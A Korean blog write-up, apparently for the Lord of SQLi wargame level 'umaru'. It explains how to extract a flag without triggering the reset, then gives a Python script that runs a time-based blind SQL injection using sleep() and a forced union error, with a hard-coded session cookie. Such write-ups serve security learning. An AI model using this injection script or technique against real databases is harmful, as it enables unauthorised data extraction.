이 문제는 flag를 알아내면 되는 문제이다.
허나 실제 플래그와 입력한 플래그가 틀린다면 리셋을 해버린다.
$new_flag = substr(md5(rand(10000000,99999999)."qwer".rand(10000000,99999999)."asdf".rand(10000000,99999999)),8,16);
ㅇㅇ;;
update문을 에러를 띄워서 찾아내면 대는거시다.
그렇다면 update문은 실제로 실행이 되지 않고 리셋이 되지 않는것이다.
하지만 맞는지 안맞는지를 어떻게 알아야할지가 문제였다.
방법은 sleep을 통해 리퀘스트 받은 시간으로 하면 대는거시여따.
sleep(0) 일 경우 select 1 union select 2를 이용하여 에러를 띄워주는 식인것이다.
맞으면 sleep(3)이 되어 실행이 대는거시다
import requests
import time
url = "https://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php"
headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}
'''
?flag=sleep(2*(length(flag)=1)) | (select 1 union select 2) -- -
'''
length = 16
strs = ""
for i in range(1, 50):
start = time.time()
rs = requests.get(url + "?flag=sleep(2*(length(flag)=" + str(i) + "))%20||%20(select%201%20union%20select%202)%20--%20-", headers=headers, cookies=cookies)
if((time.time()-start) > 2):
print("find it length = " + str(i))
length = i
break
for i in range(1, length+1):
print(str(i) + " start !")
for c in range(48, 127):
start = time.time()
rs = requests.post(url + "?flag=sleep(2*(flag%20like%20%27" + strs + chr(c) + "%%27))%20||%20(select%201%20union%20select%202)%20--%20-", headers=headers, cookies=cookies)
if((time.time()-start) >2):
print(str(i) + " find it " + str(c) + " " + chr(c))
strs += chr(c)
break
print(strs)
'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글
[picoCTF] admin panel (0) | 2018.10.18 |
---|---|
[picoCTF] A Simple Question (31) | 2018.10.18 |
[LOS1] black_eyes (0) | 2018.09.27 |
[LOS1] iron_golem (0) | 2018.09.27 |
[LOS1] dragon (0) | 2018.09.22 |